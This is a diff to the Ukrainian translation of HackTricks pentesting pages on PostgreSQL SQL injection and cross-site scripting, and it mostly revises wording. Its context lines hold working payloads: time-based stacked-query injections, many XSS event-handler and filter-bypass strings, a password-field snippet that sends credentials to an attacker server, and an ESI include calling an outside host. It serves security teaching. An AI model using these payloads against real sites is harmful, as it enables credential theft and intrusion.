* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,25 +15,25 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, знайдену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Network Interaction - Підвищення привілеїв, Портовий сканер, Розкриття NTLM challenge response & Екстракція
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Приклад екстракції за допомогою dblink та великих об'єктів**
|
||||
### **Приклад ексфільтрації за допомогою dblink та великих об'єктів**
|
||||
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередину великих об'єктів, а потім екстрагувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
|
||||
## PostgreSQL Атаки: Читання/запис, RCE, підвищення привілеїв
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
|
||||
Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у:
|
||||
|
||||
|
@ -41,16 +41,16 @@ If you are interested in **кар'єрі в хакерстві** and hack the un
|
|||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAF обхід
|
||||
## WAF bypass
|
||||
|
||||
### Функції рядків PostgreSQL
|
||||
### PostgreSQL String functions
|
||||
|
||||
Маніпулювання рядками може допомогти вам **обійти WAF або інші обмеження**.\
|
||||
[**На цій сторінці** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**ви можете знайти кілька корисних функцій рядків.**
|
||||
|
||||
### Складені запити
|
||||
### Stacked Queries
|
||||
|
||||
Пам'ятайте, що postgresql підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:
|
||||
Пам'ятайте, що postgresql підтримує вкладені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати вкладеними запитами через Time injection:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і таким чином обійти фільтри:**
|
||||
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -113,7 +113,7 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -17,7 +17,7 @@
|
|||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
|
@ -31,7 +31,7 @@
|
|||
4. Javascript **функція**, що **виконується**
|
||||
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
|
||||
4. Якщо **використовується**:
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваше введення і чи використовується ваше **контрольоване введення будь-яким sink.**
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як контролюється ваше введення і чи **використовується ваше контрольоване введення будь-яким sink.**
|
||||
|
||||
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
|
||||
|
||||
|
@ -54,16 +54,16 @@
|
|||
### Сирий HTML
|
||||
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також, майте на увазі [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибутів HTML тегів
|
||||
### Всередині атрибута HTML тегу
|
||||
|
||||
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
```html
|
||||
|
@ -75,7 +75,7 @@
|
|||
|
||||
В цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
|
||||
|
||||
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і втекти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML коду.
|
||||
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і втекти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML теги** і лише потім вміст, тому він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML коду.
|
||||
* Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -100,7 +100,7 @@ Javascript Hoisting посилається на можливість **огол
|
|||
|
||||
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: `?callback=callbackFunc`.
|
||||
|
||||
Хороший спосіб дізнатися, чи намагається щось, надане безпосередньо користувачем, бути виконаним, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається бути виконаним, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -138,7 +138,7 @@ parentElement
|
|||
|
||||
### **Універсальний XSS**
|
||||
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, але й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
|
||||
Деякі **приклади**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -180,7 +180,7 @@ _**Примітка: HTML-коментар може бути закритий з
|
|||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких дурних трюків:
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою кількох простих трюків:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -251,14 +251,14 @@ onerror=alert`1`
|
|||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](./#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ onerror=alert`1`
|
|||
```
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися назад </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
|
@ -299,7 +299,7 @@ onerror=alert`1`
|
|||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Зверніть увагу, що кодування URL також буде працювати:**
|
||||
**Зверніть увагу, що URL кодування також буде працювати:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
|
@ -385,7 +385,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-який URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -411,12 +411,12 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
|
||||
|
||||
З [**тут**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними полями з:**
|
||||
З [**тут**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
І в **meta тегах**:
|
||||
І в **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -435,7 +435,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
Кілька трюків з використанням різного кодування вже були представлені в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
|
||||
* **HTML кодування (HTML теги)**
|
||||
* **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
* **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
* **URL кодування**
|
||||
* **Шістнадцяткове та вісімкове кодування**
|
||||
* **кодування даних**
|
||||
|
@ -450,9 +450,9 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### CSS-Гаджети
|
||||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **модифікувати простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, як: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
|
||||
|
||||
|
@ -462,7 +462,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Тепер ви можете модифікувати наше посилання і привести його до форми
|
||||
Тепер ви можете змінити наше посилання і привести його до форми
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -470,11 +470,11 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
## Впровадження всередині JavaScript коду
|
||||
|
||||
У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
|
||||
### Вихід з \<script> тегу
|
||||
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви могли б легко **вийти, закривши тег `<script>`**:
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви могли б легко **вийти, закривши `<script>`** тег:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript нові рядки (з** [**JavaScript новий рядок**](./#javascript-new-lines) **трик)**
|
||||
**Нові рядки JavaScript (з** [**трику нових рядків JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -735,8 +735,8 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщене на цю сторінку**](dom-xss.md)**:**
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -773,7 +773,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
Ви могли б перевірити, чи **відображені значення** нормалізуються в **unicode** на сервері (або на стороні клієнта) і зловживати цією функціональністю, щоб обійти захист. [**Знайдіть приклад тут**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||||
### PHP FILTER\_VALIDATE\_EMAIL обхід прапора
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
|
@ -822,9 +822,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS з ін'єкцією заголовків у відповіді 302
|
||||
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу є марним.
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний вантаж для міжсайтового скриптингу є марним.
|
||||
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.\
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє який-небудь з них браузеру перевірити та виконати вантаж XSS у тілі.\
|
||||
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
|
||||
|
||||
### Тільки літери, цифри та крапки
|
||||
|
@ -835,9 +835,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипту з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
> Відмовлено у виконанні скрипта з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
Єдиними **Content-Type**ами, які підтримують Chrome для виконання **завантаженого скрипту**, є ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Єдиними **Content-Type**ами, які підтримують Chrome для виконання **завантаженого скрипта**, є ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -922,7 +922,7 @@ import { partition } from "lodash";
|
|||
* application/xml
|
||||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? не в списку, але я думаю, що бачив це в CTF)
|
||||
* text/plain (?? не в списку, але я думаю, що бачив це на CTF)
|
||||
* application/rss+xml (вимкнено)
|
||||
* application/atom+xml (вимкнено)
|
||||
|
||||
|
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок**, щоб отримати доступ до **обгортки** модуля та отримати **`require`** функцію:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1217,7 +1217,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер атакуючого, навіть якщо клієнт вибирає збережений пароль і нічого не пише, облікові дані будуть ексфільтровані.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS до SSRF
|
||||
|
||||
Отримали XSS на **сайті, який використовує кешування**? Спробуйте **перетворити це на SSRF** через Edge Side Include Injection з цим payload:
|
||||
Отримали XSS на **сайті, що використовує кешування**? Спробуйте **перетворити це на SSRF** через Edge Side Include Injection з цим payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1358,7 +1358,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
